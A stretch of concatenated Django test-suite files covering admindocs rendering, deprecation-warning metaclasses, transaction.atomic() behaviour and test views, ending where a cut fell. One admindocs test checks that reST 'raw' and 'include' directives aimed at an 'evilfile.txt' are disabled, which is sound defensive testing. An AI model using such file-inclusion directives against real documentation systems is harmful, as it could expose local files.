        self.assertEqual(utils.parse_rst('`title`', 'template'), markup % 'templates/title/')
        self.assertEqual(utils.parse_rst('`title`', 'filter'), markup % 'filters/#title')
        self.assertEqual(utils.parse_rst('`title`', 'tag'), markup % 'tags/#title')

    def test_publish_parts(self):
        """
        Django shouldn't break the default role for interpreted text
        when ``publish_parts`` is used directly, by setting it to
        ``cmsreference``. See #6681.
        """
        import docutils
        self.assertNotEqual(docutils.parsers.rst.roles.DEFAULT_INTERPRETED_ROLE, 'cmsreference')
        source = 'reST, `interpreted text`, default role.'
        markup = '<p>reST, <cite>interpreted text</cite>, default role.</p>\n'
        parts = docutils.core.publish_parts(source=source, writer_name="html4css1")
        self.assertEqual(parts['fragment'], markup)


@unittest.skipUnless(utils.docutils_is_available, "no docutils installed.")
class TestModelDetailView(TestDataMixin, AdminDocsTestCase):
    """
    Tests that various details render correctly
    """

    def setUp(self):
        self.client.force_login(self.superuser)
        with captured_stderr() as self.docutils_stderr:
            self.response = self.client.get(reverse('django-admindocs-models-detail', args=['admin_docs', 'Person']))

    def test_method_excludes(self):
        """
        Methods that begin with strings defined in
        ``django.contrib.admindocs.views.MODEL_METHODS_EXCLUDE``
        should not get displayed in the admin docs.
        """
        self.assertContains(self.response, "<td>get_full_name</td>")
        self.assertNotContains(self.response, "<td>_get_full_name</td>")
        self.assertNotContains(self.response, "<td>add_image</td>")
        self.assertNotContains(self.response, "<td>delete_image</td>")
        self.assertNotContains(self.response, "<td>set_status</td>")
        self.assertNotContains(self.response, "<td>save_changes</td>")

    def test_methods_with_arguments(self):
        """
        Methods that take arguments should also displayed.
        """
        self.assertContains(self.response, "<h3>Methods with arguments</h3>")
        self.assertContains(self.response, "<td>rename_company</td>")
        self.assertContains(self.response, "<td>dummy_function</td>")
        self.assertContains(self.response, "<td>suffix_company_name</td>")

    def test_methods_with_arguments_display_arguments(self):
        """
        Methods with arguments should have their arguments displayed.
        """
        self.assertContains(self.response, "<td>new_name</td>")

    def test_methods_with_arguments_display_arguments_default_value(self):
        """
        Methods with keyword arguments should have their arguments displayed.
        """
        self.assertContains(self.response, "<td>suffix=&#39;ltd&#39;</td>")

    def test_methods_with_multiple_arguments_display_arguments(self):
        """
        Methods with multiple arguments should have all their arguments
        displayed, but omitting 'self'.
        """
        self.assertContains(self.response, "<td>baz, rox, *some_args, **some_kwargs</td>")

    def test_method_data_types(self):
        """
        We should be able to get a basic idea of the type returned
        by a method
        """
        company = Company.objects.create(name="Django")
        person = Person.objects.create(first_name="Human", last_name="User", company=company)
        self.assertEqual(get_return_data_type(person.get_status_count.__name__), 'Integer')
        self.assertEqual(get_return_data_type(person.get_groups_list.__name__), 'List')

    def test_descriptions_render_correctly(self):
        """
        The ``description`` field should render correctly for each type of field
        """
        # help text in fields
        self.assertContains(self.response, "<td>first name - The person's first name</td>")
        self.assertContains(self.response, "<td>last name - The person's last name</td>")

        # method docstrings
        self.assertContains(self.response, "<p>Get the full name of the person</p>")

        link = '<a class="reference external" href="/admindocs/models/%s/">%s</a>'
        markup = '<p>the related %s object</p>'
        company_markup = markup % (link % ("admin_docs.company", "admin_docs.Company"))

        # foreign keys
        self.assertContains(self.response, company_markup)

        # foreign keys with help text
        self.assertContains(self.response, "%s\n - place of work" % company_markup)

        # many to many fields
        self.assertContains(
            self.response,
            "number of related %s objects" % (link % ("admin_docs.group", "admin_docs.Group"))
        )
        self.assertContains(
            self.response,
            "all related %s objects" % (link % ("admin_docs.group", "admin_docs.Group"))
        )

        # "raw" and "include" directives are disabled
        self.assertContains(self.response, '<p>&quot;raw&quot; directive disabled.</p>',)
        self.assertContains(self.response, '.. raw:: html\n    :file: admin_docs/evilfile.txt')
        self.assertContains(self.response, '<p>&quot;include&quot; directive disabled.</p>',)
        self.assertContains(self.response, '.. include:: admin_docs/evilfile.txt')
        out = self.docutils_stderr.getvalue()
        self.assertIn('"raw" directive disabled', out)
        self.assertIn('"include" directive disabled', out)

    def test_model_with_many_to_one(self):
        link = '<a class="reference external" href="/admindocs/models/%s/">%s</a>'
        response = self.client.get(
            reverse('django-admindocs-models-detail', args=['admin_docs', 'company'])
        )
        self.assertContains(
            response,
            "number of related %s objects" % (link % ("admin_docs.person", "admin_docs.Person"))
        )
        self.assertContains(
            response,
            "all related %s objects" % (link % ("admin_docs.person", "admin_docs.Person"))
        )

    def test_model_with_no_backward_relations_render_only_relevant_fields(self):
        """
        A model with ``related_name`` of `+` should not show backward relationship
        links in admin docs
        """
        response = self.client.get(reverse('django-admindocs-models-detail', args=['admin_docs', 'family']))
        fields = response.context_data.get('fields')
        self.assertEqual(len(fields), 2)

    def test_model_docstring_renders_correctly(self):
        summary = (
            '<h2 class="subhead"><p>Stores information about a person, related to <a class="reference external" '
            'href="/admindocs/models/myapp.company/">myapp.Company</a>.</p></h2>'
        )
        subheading = '<p><strong>Notes</strong></p>'
        body = '<p>Use <tt class="docutils literal">save_changes()</tt> when saving this object.</p>'
        model_body = (
            '<dl class="docutils"><dt><tt class="'
            'docutils literal">company</tt></dt><dd>Field storing <a class="'
            'reference external" href="/admindocs/models/myapp.company/">'
            'myapp.Company</a> where the person works.</dd></dl>'
        )
        self.assertContains(self.response, 'DESCRIPTION')
        self.assertContains(self.response, summary, html=True)
        self.assertContains(self.response, subheading, html=True)
        self.assertContains(self.response, body, html=True)
        self.assertContains(self.response, model_body, html=True)

    def test_model_detail_title(self):
        self.assertContains(self.response, '<h1>admin_docs.Person</h1>', html=True)


@unittest.skipUnless(utils.docutils_is_available, "no docutils installed.")
class TestUtils(AdminDocsTestCase):
    """
    This __doc__ output is required for testing. I copied this example from
    `admindocs` documentation. (TITLE)

    Display an individual :model:`myapp.MyModel`.

    **Context**

    ``RequestContext``

    ``mymodel``
        An instance of :model:`myapp.MyModel`.

    **Template:**

    :template:`myapp/my_template.html` (DESCRIPTION)

    some_metadata: some data
    """

    def setUp(self):
        self.docstring = self.__doc__

    def test_trim_docstring(self):
        trim_docstring_output = utils.trim_docstring(self.docstring)
        trimmed_docstring = (
            'This __doc__ output is required for testing. I copied this '
            'example from\n`admindocs` documentation. (TITLE)\n\n'
            'Display an individual :model:`myapp.MyModel`.\n\n'
            '**Context**\n\n``RequestContext``\n\n``mymodel``\n'
            '    An instance of :model:`myapp.MyModel`.\n\n'
            '**Template:**\n\n:template:`myapp/my_template.html` '
            '(DESCRIPTION)\n\nsome_metadata: some data'
        )
        self.assertEqual(trim_docstring_output, trimmed_docstring)

    def test_parse_docstring(self):
        title, description, metadata = utils.parse_docstring(self.docstring)
        docstring_title = (
            'This __doc__ output is required for testing. I copied this example from\n'
            '`admindocs` documentation. (TITLE)'
        )
        docstring_description = (
            'Display an individual :model:`myapp.MyModel`.\n\n'
            '**Context**\n\n``RequestContext``\n\n``mymodel``\n'
            '    An instance of :model:`myapp.MyModel`.\n\n'
            '**Template:**\n\n:template:`myapp/my_template.html` '
            '(DESCRIPTION)'
        )
        self.assertEqual(title, docstring_title)
        self.assertEqual(description, docstring_description)
        self.assertEqual(metadata, {'some_metadata': 'some data'})

    def test_title_output(self):
        title, description, metadata = utils.parse_docstring(self.docstring)
        title_output = utils.parse_rst(title, 'model', 'model:admindocs')
        self.assertIn('TITLE', title_output)

        title_rendered = (
            '<p>This __doc__ output is required for testing. I copied this '
            'example from\n<a class="reference external" '
            'href="/admindocs/models/admindocs/">admindocs</a> documentation. '
            '(TITLE)</p>\n'
        )
        self.assertHTMLEqual(title_output, title_rendered)

    def test_description_output(self):
        title, description, metadata = utils.parse_docstring(self.docstring)
        description_output = utils.parse_rst(description, 'model', 'model:admindocs')

        description_rendered = (
            '<p>Display an individual <a class="reference external" '
            'href="/admindocs/models/myapp.mymodel/">myapp.MyModel</a>.</p>\n'
            '<p><strong>Context</strong></p>\n<p><tt class="docutils literal">'
            'RequestContext</tt></p>\n<dl class="docutils">\n<dt><tt class="'
            'docutils literal">mymodel</tt></dt>\n<dd>An instance of <a class="'
            'reference external" href="/admindocs/models/myapp.mymodel/">'
            'myapp.MyModel</a>.</dd>\n</dl>\n<p><strong>Template:</strong></p>'
            '\n<p><a class="reference external" href="/admindocs/templates/'
            'myapp/my_template.html/">myapp/my_template.html</a> (DESCRIPTION)'
            '</p>\n'
        )
        self.assertHTMLEqual(description_output, description_rendered)

    def test_initial_header_level(self):
        header = 'should be h3...\n\nHeader\n------\n'
        output = utils.parse_rst(header, 'header')
        self.assertIn('<h3>Header</h3>', output)












from __future__ import unicode_literals

import warnings

from django.test import SimpleTestCase
from django.test.utils import reset_warning_registry
from django.utils import six
from django.utils.deprecation import (
    DeprecationInstanceCheck, RemovedInNextVersionWarning, RenameMethodsBase,
)


class RenameManagerMethods(RenameMethodsBase):
    renamed_methods = (
        ('old', 'new', DeprecationWarning),
    )


class RenameMethodsTests(SimpleTestCase):
    """
    Tests the `RenameMethodsBase` type introduced to rename `get_query_set`
    to `get_queryset` across the code base following #15363.
    """

    def test_class_definition_warnings(self):
        """
        Ensure a warning is raised upon class definition to suggest renaming
        the faulty method.
        """
        reset_warning_registry()
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('always')

            class Manager(six.with_metaclass(RenameManagerMethods)):
                def old(self):
                    pass
            self.assertEqual(len(recorded), 1)
            msg = str(recorded[0].message)
            self.assertEqual(msg, '`Manager.old` method should be renamed `new`.')

    def test_get_new_defined(self):
        """
        Ensure `old` complains and not `new` when only `new` is defined.
        """
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('ignore')

            class Manager(six.with_metaclass(RenameManagerMethods)):
                def new(self):
                    pass
            warnings.simplefilter('always')
            manager = Manager()
            manager.new()
            self.assertEqual(len(recorded), 0)
            manager.old()
            self.assertEqual(len(recorded), 1)
            msg = str(recorded.pop().message)
            self.assertEqual(msg, '`Manager.old` is deprecated, use `new` instead.')

    def test_get_old_defined(self):
        """
        Ensure `old` complains when only `old` is defined.
        """
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('ignore')

            class Manager(six.with_metaclass(RenameManagerMethods)):
                def old(self):
                    pass
            warnings.simplefilter('always')
            manager = Manager()
            manager.new()
            self.assertEqual(len(recorded), 0)
            manager.old()
            self.assertEqual(len(recorded), 1)
            msg = str(recorded.pop().message)
            self.assertEqual(msg, '`Manager.old` is deprecated, use `new` instead.')

    def test_deprecated_subclass_renamed(self):
        """
        Ensure the correct warnings are raised when a class that didn't rename
        `old` subclass one that did.
        """
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('ignore')

            class Renamed(six.with_metaclass(RenameManagerMethods)):
                def new(self):
                    pass

            class Deprecated(Renamed):
                def old(self):
                    super(Deprecated, self).old()
            warnings.simplefilter('always')
            deprecated = Deprecated()
            deprecated.new()
            self.assertEqual(len(recorded), 1)
            msg = str(recorded.pop().message)
            self.assertEqual(msg, '`Renamed.old` is deprecated, use `new` instead.')
            recorded[:] = []
            deprecated.old()
            self.assertEqual(len(recorded), 2)
            msgs = [str(warning.message) for warning in recorded]
            self.assertEqual(msgs, [
                '`Deprecated.old` is deprecated, use `new` instead.',
                '`Renamed.old` is deprecated, use `new` instead.',
            ])

    def test_renamed_subclass_deprecated(self):
        """
        Ensure the correct warnings are raised when a class that renamed
        `old` subclass one that didn't.
        """
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('ignore')

            class Deprecated(six.with_metaclass(RenameManagerMethods)):
                def old(self):
                    pass

            class Renamed(Deprecated):
                def new(self):
                    super(Renamed, self).new()
            warnings.simplefilter('always')
            renamed = Renamed()
            renamed.new()
            self.assertEqual(len(recorded), 0)
            renamed.old()
            self.assertEqual(len(recorded), 1)
            msg = str(recorded.pop().message)
            self.assertEqual(msg, '`Renamed.old` is deprecated, use `new` instead.')

    def test_deprecated_subclass_renamed_and_mixins(self):
        """
        Ensure the correct warnings are raised when a subclass inherit from a
        class that renamed `old` and mixins that may or may not have renamed
        `new`.
        """
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('ignore')

            class Renamed(six.with_metaclass(RenameManagerMethods)):
                def new(self):
                    pass

            class RenamedMixin(object):
                def new(self):
                    super(RenamedMixin, self).new()

            class DeprecatedMixin(object):
                def old(self):
                    super(DeprecatedMixin, self).old()

            class Deprecated(DeprecatedMixin, RenamedMixin, Renamed):
                pass
            warnings.simplefilter('always')
            deprecated = Deprecated()
            deprecated.new()
            self.assertEqual(len(recorded), 1)
            msg = str(recorded.pop().message)
            self.assertEqual(msg, '`RenamedMixin.old` is deprecated, use `new` instead.')
            deprecated.old()
            self.assertEqual(len(recorded), 2)
            msgs = [str(warning.message) for warning in recorded]
            self.assertEqual(msgs, [
                '`DeprecatedMixin.old` is deprecated, use `new` instead.',
                '`RenamedMixin.old` is deprecated, use `new` instead.',
            ])


class DeprecationInstanceCheckTest(SimpleTestCase):
    def test_warning(self):
        class Manager(six.with_metaclass(DeprecationInstanceCheck)):
            alternative = 'fake.path.Foo'
            deprecation_warning = RemovedInNextVersionWarning

        msg = '`Manager` is deprecated, use `fake.path.Foo` instead.'
        with warnings.catch_warnings():
            warnings.simplefilter('error', category=RemovedInNextVersionWarning)
            with self.assertRaisesMessage(RemovedInNextVersionWarning, msg):
                isinstance(object, Manager)






"""
Transactions

Django handles transactions in three different ways. The default is to commit
each transaction upon a write, but you can decorate a function to get
commit-on-success behavior. Alternatively, you can manage the transaction
manually.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Reporter(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)
    email = models.EmailField()

    class Meta:
        ordering = ('first_name', 'last_name')

    def __str__(self):
        return ("%s %s" % (self.first_name, self.last_name)).strip()












from __future__ import unicode_literals

import sys
import threading
import time
from unittest import skipIf, skipUnless

from django.db import (
    DatabaseError, Error, IntegrityError, OperationalError, connection,
    transaction,
)
from django.test import (
    TransactionTestCase, skipIfDBFeature, skipUnlessDBFeature,
)

from .models import Reporter


@skipUnless(connection.features.uses_savepoints, "'atomic' requires transactions and savepoints.")
class AtomicTests(TransactionTestCase):
    """
    Tests for the atomic decorator and context manager.

    The tests make assertions on internal attributes because there isn't a
    robust way to ask the database for its current transaction state.

    Since the decorator syntax is converted into a context manager (see the
    implementation), there are only a few basic tests with the decorator
    syntax and the bulk of the tests use the context manager syntax.
    """

    available_apps = ['transactions']

    def test_decorator_syntax_commit(self):
        @transaction.atomic
        def make_reporter():
            Reporter.objects.create(first_name="Tintin")
        make_reporter()
        self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>'])

    def test_decorator_syntax_rollback(self):
        @transaction.atomic
        def make_reporter():
            Reporter.objects.create(first_name="Haddock")
            raise Exception("Oops, that's his last name")
        with self.assertRaisesMessage(Exception, "Oops"):
            make_reporter()
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_alternate_decorator_syntax_commit(self):
        @transaction.atomic()
        def make_reporter():
            Reporter.objects.create(first_name="Tintin")
        make_reporter()
        self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>'])

    def test_alternate_decorator_syntax_rollback(self):
        @transaction.atomic()
        def make_reporter():
            Reporter.objects.create(first_name="Haddock")
            raise Exception("Oops, that's his last name")
        with self.assertRaisesMessage(Exception, "Oops"):
            make_reporter()
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_commit(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
        self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>'])

    def test_rollback(self):
        with self.assertRaisesMessage(Exception, "Oops"):
            with transaction.atomic():
                Reporter.objects.create(first_name="Haddock")
                raise Exception("Oops, that's his last name")
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_nested_commit_commit(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
            with transaction.atomic():
                Reporter.objects.create(first_name="Archibald", last_name="Haddock")
        self.assertQuerysetEqual(
            Reporter.objects.all(),
            ['<Reporter: Archibald Haddock>', '<Reporter: Tintin>']
        )

    def test_nested_commit_rollback(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
            with self.assertRaisesMessage(Exception, "Oops"):
                with transaction.atomic():
                    Reporter.objects.create(first_name="Haddock")
                    raise Exception("Oops, that's his last name")
        self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>'])

    def test_nested_rollback_commit(self):
        with self.assertRaisesMessage(Exception, "Oops"):
            with transaction.atomic():
                Reporter.objects.create(last_name="Tintin")
                with transaction.atomic():
                    Reporter.objects.create(last_name="Haddock")
                raise Exception("Oops, that's his first name")
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_nested_rollback_rollback(self):
        with self.assertRaisesMessage(Exception, "Oops"):
            with transaction.atomic():
                Reporter.objects.create(last_name="Tintin")
                with self.assertRaisesMessage(Exception, "Oops"):
                    with transaction.atomic():
                        Reporter.objects.create(first_name="Haddock")
                    raise Exception("Oops, that's his last name")
                raise Exception("Oops, that's his first name")
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_merged_commit_commit(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
            with transaction.atomic(savepoint=False):
                Reporter.objects.create(first_name="Archibald", last_name="Haddock")
        self.assertQuerysetEqual(
            Reporter.objects.all(),
            ['<Reporter: Archibald Haddock>', '<Reporter: Tintin>']
        )

    def test_merged_commit_rollback(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
            with self.assertRaisesMessage(Exception, "Oops"):
                with transaction.atomic(savepoint=False):
                    Reporter.objects.create(first_name="Haddock")
                    raise Exception("Oops, that's his last name")
        # Writes in the outer block are rolled back too.
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_merged_rollback_commit(self):
        with self.assertRaisesMessage(Exception, "Oops"):
            with transaction.atomic():
                Reporter.objects.create(last_name="Tintin")
                with transaction.atomic(savepoint=False):
                    Reporter.objects.create(last_name="Haddock")
                raise Exception("Oops, that's his first name")
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_merged_rollback_rollback(self):
        with self.assertRaisesMessage(Exception, "Oops"):
            with transaction.atomic():
                Reporter.objects.create(last_name="Tintin")
                with self.assertRaisesMessage(Exception, "Oops"):
                    with transaction.atomic(savepoint=False):
                        Reporter.objects.create(first_name="Haddock")
                    raise Exception("Oops, that's his last name")
                raise Exception("Oops, that's his first name")
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_reuse_commit_commit(self):
        atomic = transaction.atomic()
        with atomic:
            Reporter.objects.create(first_name="Tintin")
            with atomic:
                Reporter.objects.create(first_name="Archibald", last_name="Haddock")
        self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Archibald Haddock>', '<Reporter: Tintin>'])

    def test_reuse_commit_rollback(self):
        atomic = transaction.atomic()
        with atomic:
            Reporter.objects.create(first_name="Tintin")
            with self.assertRaisesMessage(Exception, "Oops"):
                with atomic:
                    Reporter.objects.create(first_name="Haddock")
                    raise Exception("Oops, that's his last name")
        self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>'])

    def test_reuse_rollback_commit(self):
        atomic = transaction.atomic()
        with self.assertRaisesMessage(Exception, "Oops"):
            with atomic:
                Reporter.objects.create(last_name="Tintin")
                with atomic:
                    Reporter.objects.create(last_name="Haddock")
                raise Exception("Oops, that's his first name")
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_reuse_rollback_rollback(self):
        atomic = transaction.atomic()
        with self.assertRaisesMessage(Exception, "Oops"):
            with atomic:
                Reporter.objects.create(last_name="Tintin")
                with self.assertRaisesMessage(Exception, "Oops"):
                    with atomic:
                        Reporter.objects.create(first_name="Haddock")
                    raise Exception("Oops, that's his last name")
                raise Exception("Oops, that's his first name")
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_force_rollback(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
            # atomic block shouldn't rollback, but force it.
            self.assertFalse(transaction.get_rollback())
            transaction.set_rollback(True)
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_prevent_rollback(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
            sid = transaction.savepoint()
            # trigger a database error inside an inner atomic without savepoint
            with self.assertRaises(DatabaseError):
                with transaction.atomic(savepoint=False):
                    with connection.cursor() as cursor:
                        cursor.execute(
                            "SELECT no_such_col FROM transactions_reporter")
            # prevent atomic from rolling back since we're recovering manually
            self.assertTrue(transaction.get_rollback())
            transaction.set_rollback(False)
            transaction.savepoint_rollback(sid)
        self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>'])


class AtomicInsideTransactionTests(AtomicTests):
    """All basic tests for atomic should also pass within an existing transaction."""

    def setUp(self):
        self.atomic = transaction.atomic()
        self.atomic.__enter__()

    def tearDown(self):
        self.atomic.__exit__(*sys.exc_info())


@skipIf(
    connection.features.autocommits_when_autocommit_is_off,
    "This test requires a non-autocommit mode that doesn't autocommit."
)
class AtomicWithoutAutocommitTests(AtomicTests):
    """All basic tests for atomic should also pass when autocommit is turned off."""

    def setUp(self):
        transaction.set_autocommit(False)

    def tearDown(self):
        # The tests access the database after exercising 'atomic', initiating
        # a transaction ; a rollback is required before restoring autocommit.
        transaction.rollback()
        transaction.set_autocommit(True)


@skipUnless(connection.features.uses_savepoints, "'atomic' requires transactions and savepoints.")
class AtomicMergeTests(TransactionTestCase):
    """Test merging transactions with savepoint=False."""

    available_apps = ['transactions']

    def test_merged_outer_rollback(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
            with transaction.atomic(savepoint=False):
                Reporter.objects.create(first_name="Archibald", last_name="Haddock")
                with self.assertRaisesMessage(Exception, "Oops"):
                    with transaction.atomic(savepoint=False):
                        Reporter.objects.create(first_name="Calculus")
                        raise Exception("Oops, that's his last name")
                # The third insert couldn't be roll back. Temporarily mark the
                # connection as not needing rollback to check it.
                self.assertTrue(transaction.get_rollback())
                transaction.set_rollback(False)
                self.assertEqual(Reporter.objects.count(), 3)
                transaction.set_rollback(True)
            # The second insert couldn't be roll back. Temporarily mark the
            # connection as not needing rollback to check it.
            self.assertTrue(transaction.get_rollback())
            transaction.set_rollback(False)
            self.assertEqual(Reporter.objects.count(), 3)
            transaction.set_rollback(True)
        # The first block has a savepoint and must roll back.
        self.assertQuerysetEqual(Reporter.objects.all(), [])

    def test_merged_inner_savepoint_rollback(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Tintin")
            with transaction.atomic():
                Reporter.objects.create(first_name="Archibald", last_name="Haddock")
                with self.assertRaisesMessage(Exception, "Oops"):
                    with transaction.atomic(savepoint=False):
                        Reporter.objects.create(first_name="Calculus")
                        raise Exception("Oops, that's his last name")
                # The third insert couldn't be roll back. Temporarily mark the
                # connection as not needing rollback to check it.
                self.assertTrue(transaction.get_rollback())
                transaction.set_rollback(False)
                self.assertEqual(Reporter.objects.count(), 3)
                transaction.set_rollback(True)
            # The second block has a savepoint and must roll back.
            self.assertEqual(Reporter.objects.count(), 1)
        self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>'])


@skipUnless(connection.features.uses_savepoints, "'atomic' requires transactions and savepoints.")
class AtomicErrorsTests(TransactionTestCase):

    available_apps = ['transactions']

    def test_atomic_prevents_setting_autocommit(self):
        autocommit = transaction.get_autocommit()
        with transaction.atomic():
            with self.assertRaises(transaction.TransactionManagementError):
                transaction.set_autocommit(not autocommit)
        # Make sure autocommit wasn't changed.
        self.assertEqual(connection.autocommit, autocommit)

    def test_atomic_prevents_calling_transaction_methods(self):
        with transaction.atomic():
            with self.assertRaises(transaction.TransactionManagementError):
                transaction.commit()
            with self.assertRaises(transaction.TransactionManagementError):
                transaction.rollback()

    def test_atomic_prevents_queries_in_broken_transaction(self):
        r1 = Reporter.objects.create(first_name="Archibald", last_name="Haddock")
        with transaction.atomic():
            r2 = Reporter(first_name="Cuthbert", last_name="Calculus", id=r1.id)
            with self.assertRaises(IntegrityError):
                r2.save(force_insert=True)
            # The transaction is marked as needing rollback.
            with self.assertRaises(transaction.TransactionManagementError):
                r2.save(force_update=True)
        self.assertEqual(Reporter.objects.get(pk=r1.pk).last_name, "Haddock")

    @skipIfDBFeature('atomic_transactions')
    def test_atomic_allows_queries_after_fixing_transaction(self):
        r1 = Reporter.objects.create(first_name="Archibald", last_name="Haddock")
        with transaction.atomic():
            r2 = Reporter(first_name="Cuthbert", last_name="Calculus", id=r1.id)
            with self.assertRaises(IntegrityError):
                r2.save(force_insert=True)
            # Mark the transaction as no longer needing rollback.
            transaction.set_rollback(False)
            r2.save(force_update=True)
        self.assertEqual(Reporter.objects.get(pk=r1.pk).last_name, "Calculus")

    @skipUnlessDBFeature('test_db_allows_multiple_connections')
    def test_atomic_prevents_queries_in_broken_transaction_after_client_close(self):
        with transaction.atomic():
            Reporter.objects.create(first_name="Archibald", last_name="Haddock")
            connection.close()
            # The connection is closed and the transaction is marked as
            # needing rollback. This will raise an InterfaceError on databases
            # that refuse to create cursors on closed connections (PostgreSQL)
            # and a TransactionManagementError on other databases.
            with self.assertRaises(Error):
                Reporter.objects.create(first_name="Cuthbert", last_name="Calculus")
        # The connection is usable again .
        self.assertEqual(Reporter.objects.count(), 0)


@skipUnless(connection.vendor == 'mysql', "MySQL-specific behaviors")
class AtomicMySQLTests(TransactionTestCase):

    available_apps = ['transactions']

    @skipIf(threading is None, "Test requires threading")
    def test_implicit_savepoint_rollback(self):
        """MySQL implicitly rolls back savepoints when it deadlocks (#22291)."""

        other_thread_ready = threading.Event()

        def other_thread():
            try:
                with transaction.atomic():
                    Reporter.objects.create(id=1, first_name="Tintin")
                    other_thread_ready.set()
                    # We cannot synchronize the two threads with an event here
                    # because the main thread locks. Sleep for a little while.
                    time.sleep(1)
                    # 2) ... and this line deadlocks. (see below for 1)
                    Reporter.objects.exclude(id=1).update(id=2)
            finally:
                # This is the thread-local connection, not the main connection.
                connection.close()

        other_thread = threading.Thread(target=other_thread)
        other_thread.start()
        other_thread_ready.wait()

        with self.assertRaisesMessage(OperationalError, 'Deadlock found'):
            # Double atomic to enter a transaction and create a savepoint.
            with transaction.atomic():
                with transaction.atomic():
                    # 1) This line locks... (see above for 2)
                    Reporter.objects.create(id=1, first_name="Tintin")

        other_thread.join()


class AtomicMiscTests(TransactionTestCase):

    available_apps = []

    def test_wrap_callable_instance(self):
        """#20028 -- Atomic must support wrapping callable instances."""

        class Callable(object):
            def __call__(self):
                pass

        # Must not raise an exception
        transaction.atomic(Callable())

    @skipUnlessDBFeature('can_release_savepoints')
    def test_atomic_does_not_leak_savepoints_on_failure(self):
        """#23074 -- Savepoints must be released after rollback."""

        # Expect an error when rolling back a savepoint that doesn't exist.
        # Done outside of the transaction block to ensure proper recovery.
        with self.assertRaises(Error):

            # Start a plain transaction.
            with transaction.atomic():

                # Swallow the intentional error raised in the sub-transaction.
                with self.assertRaisesMessage(Exception, "Oops"):

                    # Start a sub-transaction with a savepoint.
                    with transaction.atomic():
                        sid = connection.savepoint_ids[-1]
                        raise Exception("Oops")

                # This is expected to fail because the savepoint no longer exists.
                connection.savepoint_rollback(sid)

    @skipIf(connection.features.autocommits_when_autocommit_is_off,
            "This test requires a non-autocommit mode that doesn't autocommit.")
    def test_orm_query_without_autocommit(self):
        """#24921 -- ORM queries must be possible after set_autocommit(False)."""
        transaction.set_autocommit(False)
        try:
            Reporter.objects.create(first_name="Tintin")
        finally:
            transaction.rollback()
            transaction.set_autocommit(True)






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^index/$', views.index_page, name='index'),
]






"""
Regression tests for Django built-in views.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name

    def get_absolute_url(self):
        return '/authors/%s/' % self.id


@python_2_unicode_compatible
class BaseArticle(models.Model):
    """
    An abstract article Model so that we can create article models with and
    without a get_absolute_url method (for create_update generic views tests).
    """
    title = models.CharField(max_length=100)
    slug = models.SlugField()
    author = models.ForeignKey(Author, models.CASCADE)

    class Meta:
        abstract = True

    def __str__(self):
        return self.title


class Article(BaseArticle):
    date_created = models.DateTimeField()


class UrlArticle(BaseArticle):
    """
    An Article class with a get_absolute_url defined.
    """
    date_created = models.DateTimeField()

    def get_absolute_url(self):
        return '/urlarticles/%s/' % self.slug
    get_absolute_url.purge = True


class DateArticle(BaseArticle):
    """
    An article Model with a DateField instead of DateTimeField,
    for testing #7602
    """
    date_created = models.DateField()






from __future__ import unicode_literals

import datetime
import decimal
import logging
import sys

from django.core.exceptions import PermissionDenied, SuspiciousOperation
from django.http import Http404, HttpResponse, JsonResponse
from django.shortcuts import render
from django.template import TemplateDoesNotExist
from django.urls import get_resolver
from django.views import View
from django.views.debug import (
    SafeExceptionReporterFilter, technical_500_response,
)
from django.views.decorators.debug import (
    sensitive_post_parameters, sensitive_variables,
)

from . import BrokenException, except_args


def index_page(request):
    """Dummy index page"""
    return HttpResponse('<html><body>Dummy page</body></html>')


def with_parameter(request, parameter):
    return HttpResponse('ok')


def raises(request):
    # Make sure that a callable that raises an exception in the stack frame's
    # local vars won't hijack the technical 500 response. See:
    # http://code.djangoproject.com/ticket/15025
    def callable():
        raise Exception
    try:
        raise Exception
    except Exception:
        return technical_500_response(request, *sys.exc_info())


def raises500(request):
    # We need to inspect the HTML generated by the fancy 500 debug view but
    # the test client ignores it, so we send it explicitly.
    try:
        raise Exception
    except Exception:
        return technical_500_response(request, *sys.exc_info())


def raises400(request):
    raise SuspiciousOperation


def raises403(request):
    raise PermissionDenied("Insufficient Permissions")


def raises404(request):
    resolver = get_resolver(None)
